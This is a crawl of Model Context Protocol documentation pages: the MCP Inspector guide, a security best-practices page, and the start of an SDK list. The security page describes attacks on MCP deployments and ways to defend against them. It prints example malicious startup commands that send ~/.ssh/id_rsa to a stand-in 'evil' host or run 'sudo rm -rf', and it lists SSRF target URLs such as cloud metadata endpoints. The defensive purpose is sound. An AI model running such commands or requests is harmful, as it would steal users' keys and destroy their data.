------------------- Walk through building a server from scratch Connect local servers --------------------- Full claude\_desktop\_config.json reference and troubleshooting Was this page helpful? YesNo [MCP Inspector](https://modelcontextprotocol.io/docs/tools/inspector) [Example Clients](https://modelcontextprotocol.io/clients) ⌘I --- # MCP Inspector - Model Context Protocol [Skip to main content](https://modelcontextprotocol.io/docs/tools/inspector#content-area) [Model Context Protocol home page![light logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/light.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=a5ac61ce77858fb1ddaf6de761c39499)![dark logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/dark.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=1227cb7feb8344f9f6288c6b5b0a6d80)](https://modelcontextprotocol.io/) Search... ⌘K Search... Navigation Developer tools MCP Inspector [Documentation](https://modelcontextprotocol.io/docs/getting-started/intro) [Extensions](https://modelcontextprotocol.io/extensions/overview) [Specification](https://modelcontextprotocol.io/specification/2025-11-25) [Registry](https://modelcontextprotocol.io/registry/about) [SEPs](https://modelcontextprotocol.io/seps) [Community](https://modelcontextprotocol.io/community/contributing) On this page * [Getting started](https://modelcontextprotocol.io/docs/tools/inspector#getting-started) * [Installation and basic usage](https://modelcontextprotocol.io/docs/tools/inspector#installation-and-basic-usage) * [Inspecting servers from npm or PyPI](https://modelcontextprotocol.io/docs/tools/inspector#inspecting-servers-from-npm-or-pypi) * [Inspecting locally developed servers](https://modelcontextprotocol.io/docs/tools/inspector#inspecting-locally-developed-servers) * [Feature overview](https://modelcontextprotocol.io/docs/tools/inspector#feature-overview) * [Server connection pane](https://modelcontextprotocol.io/docs/tools/inspector#server-connection-pane) * [Resources tab](https://modelcontextprotocol.io/docs/tools/inspector#resources-tab) * [Prompts tab](https://modelcontextprotocol.io/docs/tools/inspector#prompts-tab) * [Tools tab](https://modelcontextprotocol.io/docs/tools/inspector#tools-tab) * [Notifications pane](https://modelcontextprotocol.io/docs/tools/inspector#notifications-pane) * [Best practices](https://modelcontextprotocol.io/docs/tools/inspector#best-practices) * [Development workflow](https://modelcontextprotocol.io/docs/tools/inspector#development-workflow) * [Next steps](https://modelcontextprotocol.io/docs/tools/inspector#next-steps) The [MCP Inspector](https://github.com/modelcontextprotocol/inspector) is an interactive developer tool for testing and debugging MCP servers. While the [Debugging Guide](https://modelcontextprotocol.io/docs/tools/debugging) covers the Inspector as part of the overall debugging toolkit, this document provides a detailed exploration of the Inspector’s features and capabilities. [​](https://modelcontextprotocol.io/docs/tools/inspector#getting-started) Getting started -------------------------------------------------------------------------------------------- ### [​](https://modelcontextprotocol.io/docs/tools/inspector#installation-and-basic-usage) Installation and basic usage The Inspector runs directly through `npx` without requiring installation: npx @modelcontextprotocol/inspector npx @modelcontextprotocol/inspector #### [​](https://modelcontextprotocol.io/docs/tools/inspector#inspecting-servers-from-npm-or-pypi) Inspecting servers from npm or PyPI A common way to start server packages from [npm](https://npmjs.com/) or [PyPI](https://pypi.org/) . * npm package * PyPI package npx -y @modelcontextprotocol/inspector npx # For example npx -y @modelcontextprotocol/inspector npx @modelcontextprotocol/server-filesystem /Users/username/Desktop npx @modelcontextprotocol/inspector uvx # For example npx @modelcontextprotocol/inspector uvx mcp-server-git --repository ~/code/mcp/servers.git #### [​](https://modelcontextprotocol.io/docs/tools/inspector#inspecting-locally-developed-servers) Inspecting locally developed servers To inspect servers locally developed or downloaded as a repository, the most common way is: * TypeScript * Python npx @modelcontextprotocol/inspector node path/to/server/index.js args... npx @modelcontextprotocol/inspector \ uv \ --directory path/to/server \ run \ package-name \ args... Please carefully read any attached README for the most accurate instructions. [​](https://modelcontextprotocol.io/docs/tools/inspector#feature-overview) Feature overview ---------------------------------------------------------------------------------------------- ![](https://mintcdn.com/mcp/4ZXF1PrDkEaJvXpn/images/mcp-inspector.png?w=2500&fit=max&auto=format&n=4ZXF1PrDkEaJvXpn&q=85&s=4fbcddae467e84daef4739e0816ab698) The Inspector provides several features for interacting with your MCP server: ### [​](https://modelcontextprotocol.io/docs/tools/inspector#server-connection-pane) Server connection pane * Allows selecting the [transport](https://modelcontextprotocol.io/specification/latest/basic/transports) for connecting to the server * For local servers, supports customizing the command-line arguments and environment ### [​](https://modelcontextprotocol.io/docs/tools/inspector#resources-tab) Resources tab * Lists all available resources * Shows resource metadata (MIME types, descriptions) * Allows resource content inspection * Supports subscription testing ### [​](https://modelcontextprotocol.io/docs/tools/inspector#prompts-tab) Prompts tab * Displays available prompt templates * Shows prompt arguments and descriptions * Enables prompt testing with custom arguments * Previews generated messages ### [​](https://modelcontextprotocol.io/docs/tools/inspector#tools-tab) Tools tab * Lists available tools * Shows tool schemas and descriptions * Enables tool testing with custom inputs * Displays tool execution results ### [​](https://modelcontextprotocol.io/docs/tools/inspector#notifications-pane) Notifications pane * Presents all logs recorded from the server * Shows notifications received from the server [​](https://modelcontextprotocol.io/docs/tools/inspector#best-practices) Best practices ------------------------------------------------------------------------------------------ ### [​](https://modelcontextprotocol.io/docs/tools/inspector#development-workflow) Development workflow 1. Start Development * Launch Inspector with your server * Verify basic connectivity * Check capability negotiation 2. Iterative testing * Make server changes * Rebuild the server * Reconnect the Inspector * Test affected features * Monitor messages 3. Test edge cases * Invalid inputs * Missing prompt arguments * Concurrent operations * Verify error handling and error responses [​](https://modelcontextprotocol.io/docs/tools/inspector#next-steps) Next steps ---------------------------------------------------------------------------------- Inspector Repository -------------------- Check out the MCP Inspector source code Debugging Guide --------------- Learn about broader debugging strategies Was this page helpful? YesNo [Security Best Practices](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices) [Debugging](https://modelcontextprotocol.io/docs/tools/debugging) ⌘I --- # Security Best Practices - Model Context Protocol [Skip to main content](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#content-area) [Model Context Protocol home page![light logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/light.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=a5ac61ce77858fb1ddaf6de761c39499)![dark logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/dark.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=1227cb7feb8344f9f6288c6b5b0a6d80)](https://modelcontextprotocol.io/) Search... Ctrl K Search... Navigation Security Security Best Practices [Documentation](https://modelcontextprotocol.io/docs/getting-started/intro) [Extensions](https://modelcontextprotocol.io/extensions/overview) [Specification](https://modelcontextprotocol.io/specification/2025-11-25) [Registry](https://modelcontextprotocol.io/registry/about) [SEPs](https://modelcontextprotocol.io/seps) [Community](https://modelcontextprotocol.io/community/contributing) On this page * [Introduction](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#introduction) * [Purpose and Scope](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#purpose-and-scope) * [Attacks and Mitigations](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#attacks-and-mitigations) * [Confused Deputy Problem](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#confused-deputy-problem) * [Terminology](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#terminology) * [Vulnerable Conditions](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#vulnerable-conditions) * [Architecture and Attack Flows](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#architecture-and-attack-flows) * [Attack Description](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#attack-description) * [Mitigation](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#mitigation) * [Token Passthrough](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#token-passthrough) * [Risks](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#risks) * [Mitigation](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#mitigation-2) * [Server-Side Request Forgery (SSRF)](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#server-side-request-forgery-ssrf) * [Attack Description](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#attack-description-2) * [Risks](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#risks-2) * [Mitigation](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#mitigation-3) * [Resources and Tools](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#resources-and-tools) * [Session Hijacking](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#session-hijacking) * [Session Hijack Prompt Injection](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#session-hijack-prompt-injection) * [Session Hijack Impersonation](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#session-hijack-impersonation) * [Attack Description](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#attack-description-3) * [Mitigation](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#mitigation-4) * [Local MCP Server Compromise](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#local-mcp-server-compromise) * [Attack Description](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#attack-description-4) * [Risks](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#risks-3) * [Mitigation](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#mitigation-5) * [Scope Minimization](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#scope-minimization) * [Attack Description](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#attack-description-5) * [Risks](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#risks-4) * [Mitigation](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#mitigation-6) * [Common Mistakes](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#common-mistakes) [​](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#introduction) Introduction ----------------------------------------------------------------------------------------------------------------- ### [​](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#purpose-and-scope) Purpose and Scope This document provides security considerations for the Model Context Protocol (MCP), complementing the [MCP Authorization](https://modelcontextprotocol.io/specification/latest/basic/authorization) specification. This document identifies security risks, attack vectors, and best practices specific to MCP implementations. The primary audience for this document includes developers implementing MCP authorization flows, MCP server operators, and security professionals evaluating MCP-based systems. This document should be read alongside the MCP Authorization specification and [OAuth 2.0 security best practices](https://datatracker.ietf.org/doc/html/rfc9700) . [​](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#attacks-and-mitigations) Attacks and Mitigations --------------------------------------------------------------------------------------------------------------------------------------- This section gives a detailed description of attacks on MCP implementations, along with potential countermeasures. ### [​](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#confused-deputy-problem) Confused Deputy Problem Attackers can exploit MCP proxy servers that connect to third-party APIs, creating “[confused deputy](https://en.wikipedia.org/wiki/Confused_deputy_problem) ” vulnerabilities. This attack allows malicious clients to obtain authorization codes without proper user consent by exploiting the combination of static client IDs, dynamic client registration, and consent cookies. #### [​](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#terminology) Terminology **MCP Proxy Server** : An MCP server that connects MCP clients to third-party APIs, offering MCP features while delegating operations and acting as a single OAuth client to the third-party API server. **Third-Party Authorization Server** : Authorization server that protects the third-party API. It may lack dynamic client registration support, requiring the MCP proxy to use a static client ID for all requests. **Third-Party API** : The protected resource server that provides the actual API functionality. Access to this API requires tokens issued by the third-party authorization server. **Static Client ID** : A fixed OAuth 2.0 client identifier used by the MCP proxy server when communicating with the third-party authorization server. This Client ID refers to the MCP server acting as a client to the Third-Party API. It is the same value for all MCP server to Third-Party API interactions regardless of which MCP client initiated the request. #### [​](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#vulnerable-conditions) Vulnerable Conditions This attack becomes possible when all of the following conditions are present: * MCP proxy server uses a **static client ID** with a third-party authorization server * MCP proxy server allows MCP clients to **dynamically register** (each getting their own client\_id) * The third-party authorization server sets a **consent cookie** after the first authorization * MCP proxy server does not implement proper per-client consent before forwarding to third-party authorization #### [​](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#architecture-and-attack-flows) Architecture and Attack Flows ##### Normal OAuth proxy usage (preserves user consent) ##### Malicious OAuth proxy usage (skips user consent) #### [​](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#attack-description) Attack Description When an MCP proxy server uses a static client ID to authenticate with a third-party authorization server, the following attack becomes possible: 1. A user authenticates normally through the MCP proxy server to access the third-party API 2. During this flow, the third-party authorization server sets a cookie on the user agent indicating consent for the static client ID 3. An attacker later sends the user a malicious link containing a crafted authorization request which contains a malicious redirect URI along with a new dynamically registered client ID 4. When the user clicks the link, their browser still has the consent cookie from the previous legitimate request 5. The third-party authorization server detects the cookie and skips the consent screen 6. The MCP authorization code is redirected to the attacker’s server (specified in the malicious `redirect_uri` parameter during [dynamic client registration](https://modelcontextprotocol.io/specification/latest/basic/authorization#dynamic-client-registration) ) 7. The attacker exchanges the stolen authorization code for access tokens for the MCP server without the user’s explicit approval 8. The attacker now has access to the third-party API as the compromised user #### [​](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#mitigation) Mitigation To prevent confused deputy attacks, MCP proxy servers **MUST** implement per-client consent and proper security controls as detailed below. ##### Consent Flow Implementation The following diagram shows how to properly implement per-client consent that runs **before** the third-party authorization flow: ##### Required Protections **Per-Client Consent Storage** MCP proxy servers **MUST**: * Maintain a registry of approved `client_id` values per user * Check this registry **before** initiating the third-party authorization flow * Store consent decisions securely (server-side database, or server specific cookies) **Consent UI Requirements** The MCP-level consent page **MUST**: * Clearly identify the requesting MCP client by name * Display the specific third-party API scopes being requested * Show the registered `redirect_uri` where tokens will be sent * Implement CSRF protection (e.g., state parameter, CSRF tokens) * Prevent iframing via `frame-ancestors` CSP directive or `X-Frame-Options: DENY` to prevent clickjacking **Consent Cookie Security** If using cookies to track consent decisions, they **MUST**: * Use `__Host-` prefix for cookie names * Set `Secure`, `HttpOnly`, and `SameSite=Lax` attributes * Be cryptographically signed or use server-side sessions * Bind to the specific `client_id` (not just “user has consented”) **Redirect URI Validation** The MCP proxy server **MUST**: * Validate that the `redirect_uri` in authorization requests exactly matches the registered URI * Reject requests if the `redirect_uri` has changed without re-registration * Use exact string matching (not pattern matching or wildcards) **OAuth State Parameter Validation** The OAuth `state` parameter is critical to prevent authorization code interception and CSRF attacks. Proper state validation ensures that consent approval at the authorization endpoint is enforced at the callback endpoint. MCP proxy servers implementing OAuth flows **MUST**: * Generate a cryptographically secure random `state` value for each authorization request * Store the `state` value server-side (in a secure session store or encrypted cookie) **only after** consent has been explicitly approved * Set the `state` tracking cookie/session **immediately before** redirecting to the third-party identity provider (not before consent approval) * Validate at the callback endpoint that the `state` query parameter exactly matches the stored value in the callback request’s cookies or in the request’s cookie-based session * Reject any callback requests where the `state` parameter is missing or does not match * Ensure `state` values are single-use (delete after validation) and have a short expiration time (e.g., 10 minutes) The consent cookie or session containing the `state` value **MUST NOT** be set until **after** the user has approved the consent screen at the MCP server’s authorization endpoint. Setting this cookie before consent approval renders the consent screen ineffective, as an attacker could bypass it by crafting a malicious authorization request. ### [​](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#token-passthrough) Token Passthrough “Token passthrough” is an anti-pattern where an MCP server accepts tokens from an MCP client without validating that the tokens were properly issued _to the MCP server_ and passes them through to the downstream API. #### [​](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#risks) Risks Token passthrough is explicitly forbidden in the [authorization specification](https://modelcontextprotocol.io/specification/latest/basic/authorization) as it introduces a number of security risks, that include: * **Security Control Circumvention** * The MCP Server or downstream APIs might implement important security controls like rate limiting, request validation, or traffic monitoring, that depend on the token audience or other credential constraints. If clients can obtain and use tokens directly with the downstream APIs without the MCP server validating them properly or ensuring that the tokens are issued for the right service, they bypass these controls. * **Accountability and Audit Trail Issues** * The MCP Server will be unable to identify or distinguish between MCP Clients when clients are calling with an upstream-issued access token which may be opaque to the MCP Server. * The downstream Resource Server’s logs may show requests that appear to come from a different source with a different identity, rather than the MCP server that is actually forwarding the tokens. * Both factors make incident investigation, controls, and auditing more difficult. * If the MCP Server passes tokens without validating their claims (e.g., roles, privileges, or audience) or other metadata, a malicious actor in possession of a stolen token can use the server as a proxy for data exfiltration. * **Trust Boundary Issues** * The downstream Resource Server grants trust to specific entities. This trust might include assumptions about origin or client behavior patterns. Breaking this trust boundary could lead to unexpected issues. * If the token is accepted by multiple services without proper validation, an attacker compromising one service can use the token to access other connected services. * **Future Compatibility Risk** * Even if an MCP Server starts as a “pure proxy” today, it might need to add security controls later. Starting with proper token audience separation makes it easier to evolve the security model. #### [​](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#mitigation-2) Mitigation MCP servers **MUST NOT** accept any tokens that were not explicitly issued for the MCP server. ### [​](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#server-side-request-forgery-ssrf) Server-Side Request Forgery (SSRF) Server-Side Request Forgery (SSRF) is an attack where an attacker can induce an MCP client to make HTTP requests to unintended destinations, potentially accessing internal network resources, cloud metadata endpoints, or other protected services. #### [​](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#attack-description-2) Attack Description During OAuth metadata discovery, MCP clients fetch URLs from several sources that could be controlled by a malicious MCP server: 1. The `resource_metadata` URL from the `WWW-Authenticate` header 2. The `authorization_servers` URLs from the Protected Resource Metadata document 3. The `token_endpoint`, `authorization_endpoint`, and other URLs from Authorization Server Metadata A malicious MCP server can populate these fields with URLs pointing to internal resources, enabling the following attack patterns: * **Direct internal IP access**: URLs like `http://192.168.1.1/admin` or `http://10.0.0.1/api` target internal network services * **Cloud metadata endpoints**: URLs targeting `http://169.254.169.254/` (AWS/GCP/Azure metadata service) can exfiltrate cloud credentials and instance information * **Localhost services**: URLs like `http://localhost:6379/` can interact with local services (Redis, databases, admin panels) * **DNS rebinding**: Domains that change DNS resolution between validation and use (e.g., `https://attacker.com` resolving to a safe IP initially, then to `192.168.1.1`) * **Redirect chains**: Normal-looking URLs that redirect to internal resources #### [​](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#risks-2) Risks * **Credential exfiltration**: Cloud metadata endpoints often expose IAM credentials, API keys, and other secrets * **Internal network reconnaissance**: Error messages reveal information about internal network topology and services * **Service interaction**: POST requests (e.g., to token endpoints) can trigger mutations on internal services * **Firewall bypass**: The MCP client acts as a proxy, bypassing network perimeter controls * **Data exfiltration**: Internal service responses may be reflected back to attackers through error messages or OAuth flows #### [​](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#mitigation-3) Mitigation MCP clients deployed to a server **MUST** consider SSRF risks and implement appropriate mitigations when fetching OAuth-related URLs. Which protections are appropriate depend on your network environment. **Enforce HTTPS** MCP clients **SHOULD** require HTTPS for all OAuth-related URLs in production environments: * Reject `http://` URLs except for loopback addresses (`localhost`, `127.0.0.1`, `::1`) during development * This aligns with [OAuth 2.1 Section 1.5](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-1.5) which requires HTTPS for all OAuth protocol URLs except loopback redirect URIs * Provide an explicit opt-out mechanism for development/testing scenarios **Block Private IP Ranges** MCP clients **SHOULD** block requests to private and reserved IP address ranges as recommended by [RFC 9728 Section 7.7](https://datatracker.ietf.org/doc/html/rfc9728#section-7.7) : * Private IPv4 ranges: `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16` * Loopback: `127.0.0.0/8`, `::1` (except when explicitly allowed for development) * Link-local: `169.254.0.0/16` (including cloud metadata endpoints) * Private IPv6 ranges: `fc00::/7`, `fe80::/10` Avoid implementing IP validation manually. Attackers exploit encoding tricks (octal, hex, IPv4-mapped IPv6) that custom parsers often miss. **Validate Redirect Targets** MCP clients **SHOULD** apply the same URL validation to redirect targets: * Do not blindly follow redirects to internal resources * Apply HTTPS and IP range restrictions to redirect destinations * Consider disabling automatic redirect following and validating each hop **Use Egress Proxies** For server-side MCP client deployments, operators **SHOULD** consider using an egress proxy that enforces network policies: * Route OAuth discovery requests through a proxy that blocks internal destinations * Use tools like [Smokescreen](https://github.com/stripe/smokescreen) or similar egress proxies that prevent SSRF by design * Configure network policies to restrict the MCP client’s outbound access **DNS Resolution Considerations** Be aware of Time-of-Check to Time-of-Use (TOCTOU) issues with DNS-based validation: * An attacker’s domain may resolve to a safe IP during validation but to an internal IP during the actual request * Consider pinning DNS resolution results between check and use * Defense in depth: combine DNS checks with other mitigations #### [​](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#resources-and-tools) Resources and Tools The following resources can help developers implement SSRF protections in MCP clients. **Reference Documentation** * [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html) : Comprehensive guidance on SSRF prevention techniques, including input validation, allowlist strategies, and network-level controls * [OWASP Top 10 A10:2021 - SSRF](https://owasp.org/Top10/2021/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/) : SSRF in the context of the most critical web application security risks ### [​](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#session-hijacking) Session Hijacking Session hijacking is an attack vector where a client is provided a session ID by the server, and an unauthorized party is able to obtain and use that same session ID to impersonate the original client and perform unauthorized actions on their behalf. #### [​](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#session-hijack-prompt-injection) Session Hijack Prompt Injection #### [​](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#session-hijack-impersonation) Session Hijack Impersonation #### [​](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#attack-description-3) Attack Description When you have multiple stateful HTTP servers that handle MCP requests, the following attack vectors are possible: **Session Hijack Prompt Injection** 1. The client connects to **Server A** and receives a session ID. 2. The attacker obtains an existing session ID and sends a malicious event to **Server B** with said session ID. * When a server supports [redelivery/resumable streams](https://modelcontextprotocol.io/specification/latest/basic/transports#resumability-and-redelivery) , deliberately terminating the request before receiving the response could lead to it being resumed by the original client via the GET request for server sent events. * If a particular server initiates server sent events as a consequence of a tool call such as a `notifications/tools/list_changed`, where it is possible to affect the tools that are offered by the server, a client could end up with tools that they were not aware were enabled. 3. **Server B** enqueues the event (associated with session ID) into a shared queue. 4. **Server A** polls the queue for events using the session ID and retrieves the malicious payload. 5. **Server A** sends the malicious payload to the client as an asynchronous or resumed response. 6. The client receives and acts on the malicious payload, leading to potential compromise. **Session Hijack Impersonation** 1. The MCP client authenticates with the MCP server, creating a persistent session ID. 2. The attacker obtains the session ID. 3. The attacker makes calls to the MCP server using the session ID. 4. MCP server does not check for additional authorization and treats the attacker as a legitimate user, allowing unauthorized access or actions. #### [​](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#mitigation-4) Mitigation To prevent session hijacking and event injection attacks, the following mitigations should be implemented: MCP servers that implement authorization **MUST** verify all inbound requests. MCP Servers **MUST NOT** use sessions for authentication. MCP servers **MUST** use secure, non-deterministic session IDs. Generated session IDs (e.g., UUIDs) **SHOULD** use secure random number generators. Avoid predictable or sequential session identifiers that could be guessed by an attacker. Rotating or expiring session IDs can also reduce the risk. MCP servers **SHOULD** bind session IDs to user-specific information. When storing or transmitting session-related data (e.g., in a queue), combine the session ID with information unique to the authorized user, such as their internal user ID. Use a key format like `:`. This ensures that even if an attacker guesses a session ID, they cannot impersonate another user as the user ID is derived from the user token and not provided by the client. MCP servers can optionally leverage additional unique identifiers. ### [​](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#local-mcp-server-compromise) Local MCP Server Compromise Local MCP servers are MCP Servers running on a user’s local machine, either by the user downloading and executing a server, authoring a server themselves, or installing through a client’s configuration flows. These servers may have direct access to the user’s system and may be accessible to other processes running on the user’s machine, making them attractive targets for attacks. #### [​](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#attack-description-4) Attack Description Local MCP servers are binaries that are downloaded and executed on the same machine as the MCP client. Without proper sandboxing and consent requirements in place, the following attacks become possible: 1. An attacker includes a malicious “startup” command in a client configuration 2. An attacker distributes a malicious payload inside the server itself 3. An attacker accesses an insecure local server that’s left running on localhost via DNS rebinding Example malicious startup commands that could be embedded: # Data exfiltration npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location # Privilege escalation sudo rm -rf /important/system/files && echo "MCP server installed!" #### [​](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#risks-3) Risks Local MCP servers with inadequate restrictions or from untrusted sources introduce several critical security risks: * **Arbitrary code execution**. Attackers can execute any command with MCP client privileges. * **No visibility**. Users have no insight into what commands are being executed. * **Command obfuscation**. Malicious actors can use complex or convoluted commands to appear legitimate. * **Data exfiltration**. Attackers can access legitimate local MCP servers via compromised JavaScript. * **Data loss**. Attackers or bugs in legitimate servers could lead to irrecoverable data loss on the host machine. #### [​](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#mitigation-5) Mitigation If an MCP client supports one-click local MCP server configuration, it **MUST** implement proper consent mechanisms prior to executing commands. **Pre-Configuration Consent** Display a clear consent dialog before connecting a new local MCP server via one-click configuration. The MCP client **MUST**: * Show the exact command that will be executed, without truncation (include arguments and parameters) * Clearly identify it as a potentially dangerous operation that executes code on the user’s system * Require explicit user approval before proceeding * Allow users to cancel the configuration The MCP client **SHOULD** implement additional checks and guardrails to mitigate potential code execution attack vectors: * Highlight potentially dangerous command patterns (e.g., commands containing `sudo`, `rm -rf`, network operations, file system access outside expected directories) * Display warnings for commands that access sensitive locations (home directory, SSH keys, system directories) * Warn that MCP servers run with the same privileges as the client * Execute MCP server commands in a sandboxed environment with minimal default privileges * Launch MCP servers with restricted access to the file system, network, and other system resources * Provide mechanisms for users to explicitly grant additional privileges (e.g., specific directory access, network access) when needed * Use platform-appropriate sandboxing technologies (containers, chroot, application sandboxes, etc.) * Keep sandboxing solutions up-to-date to account for emerging vulnerabilities MCP servers intending for their servers to be run locally **SHOULD** implement measures to prevent unauthorized usage from malicious processes: * Use the `stdio` transport to limit access to just the MCP client * Restrict access if using an HTTP transport, such as: * Require an authorization token * Use unix domain sockets or other Interprocess Communication (IPC) mechanisms with restricted access ### [​](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#scope-minimization) Scope Minimization Poor scope design increases token compromise impact, elevates user friction, and obscures audit trails. #### [​](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#attack-description-5) Attack Description An attacker obtains (via log leakage, memory scraping, or local interception) an access token carrying broad scopes (`files:*`, `db:*`, `admin:*`) that were granted up front because the MCP server exposed every scope in `scopes_supported` and the client requested them all. The token enables lateral data access, privilege chaining, and difficult revocation without re-consenting the entire surface. #### [​](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#risks-4) Risks * Expanded blast radius: stolen broad token enables unrelated tool/resource access * Higher friction on revocation: revoking a max-privilege token disrupts all workflows * Audit noise: single omnibus scope masks user intent per operation * Privilege chaining: attacker can immediately invoke high-risk tools without further elevation prompts * Consent abandonment: users decline dialogs listing excessive scopes * Scope inflation blindness: lack of metrics makes over-broad requests normalised #### [​](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#mitigation-6) Mitigation Implement a progressive, least-privilege scope model: * Minimal initial scope set (e.g., `mcp:tools-basic`) containing only low-risk discovery/read operations * Incremental elevation via targeted `WWW-Authenticate` `scope="..."` challenges when privileged operations are first attempted * Down-scoping tolerance: server should accept reduced scope tokens; auth server MAY issue a subset of requested scopes Server guidance: * Emit precise scope challenges; avoid returning the full catalog * Log elevation events (scope requested, granted subset) with correlation IDs Client guidance: * Begin with only baseline scopes (or those specified by initial `WWW-Authenticate`) * Cache recent failures to avoid repeated elevation loops for denied scopes #### [​](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices#common-mistakes) Common Mistakes * Publishing all possible scopes in `scopes_supported` * Using wildcard or omnibus scopes (`*`, `all`, `full-access`) * Bundling unrelated privileges to preempt future prompts * Returning entire scope catalog in every challenge * Silent scope semantic changes without versioning * Treating claimed scopes in token as sufficient without server-side authorization logic Proper minimization constrains compromise impact, improves audit clarity, and reduces consent churn. Was this page helpful? YesNo [Understanding Authorization in MCP](https://modelcontextprotocol.io/docs/tutorials/security/authorization) [MCP Inspector](https://modelcontextprotocol.io/docs/tools/inspector) Ctrl+I --- # SDKs - Model Context Protocol [Skip to main content](https://modelcontextprotocol.io/docs/sdk#content-area) [Model Context Protocol home page![light logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/light.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=a5ac61ce77858fb1ddaf6de761c39499)![dark logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/dark.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=1227cb7feb8344f9f6288c6b5b0a6d80)](https://modelcontextprotocol.io/) Search... Ctrl K Search... Navigation Develop with MCP SDKs [Documentation](https://modelcontextprotocol.io/docs/getting-started/intro) [Extensions](https://modelcontextprotocol.io/extensions/overview) [Specification](https://modelcontextprotocol.io/specification/2025-11-25) [Registry](https://modelcontextprotocol.io/registry/about) [SEPs](https://modelcontextprotocol.io/seps) [Community](https://modelcontextprotocol.io/community/contributing) On this page * [Available SDKs](https://modelcontextprotocol.io/docs/sdk#available-sdks) * [Getting Started](https://modelcontextprotocol.io/docs/sdk#getting-started) * [Next Steps](https://modelcontextprotocol.io/docs/sdk#next-steps) Build MCP servers and clients using our official SDKs. SDKs are classified into tiers based on feature completeness, protocol support, and maintenance commitment. Learn more about [SDK tiers](https://modelcontextprotocol.io/community/sdk-tiers) . [​](https://modelcontextprotocol.io/docs/sdk#available-sdks) Available SDKs ------------------------------------------------------------------------------ | SDK | Repository | Tier | | --- | --- | --- | | [TypeScript](https://ts.sdk.modelcontextprotocol.io/) | [modelcontextprotocol/typescript-sdk](https://github.com/modelcontextprotocol/typescript-sdk) | Tier 1 | | 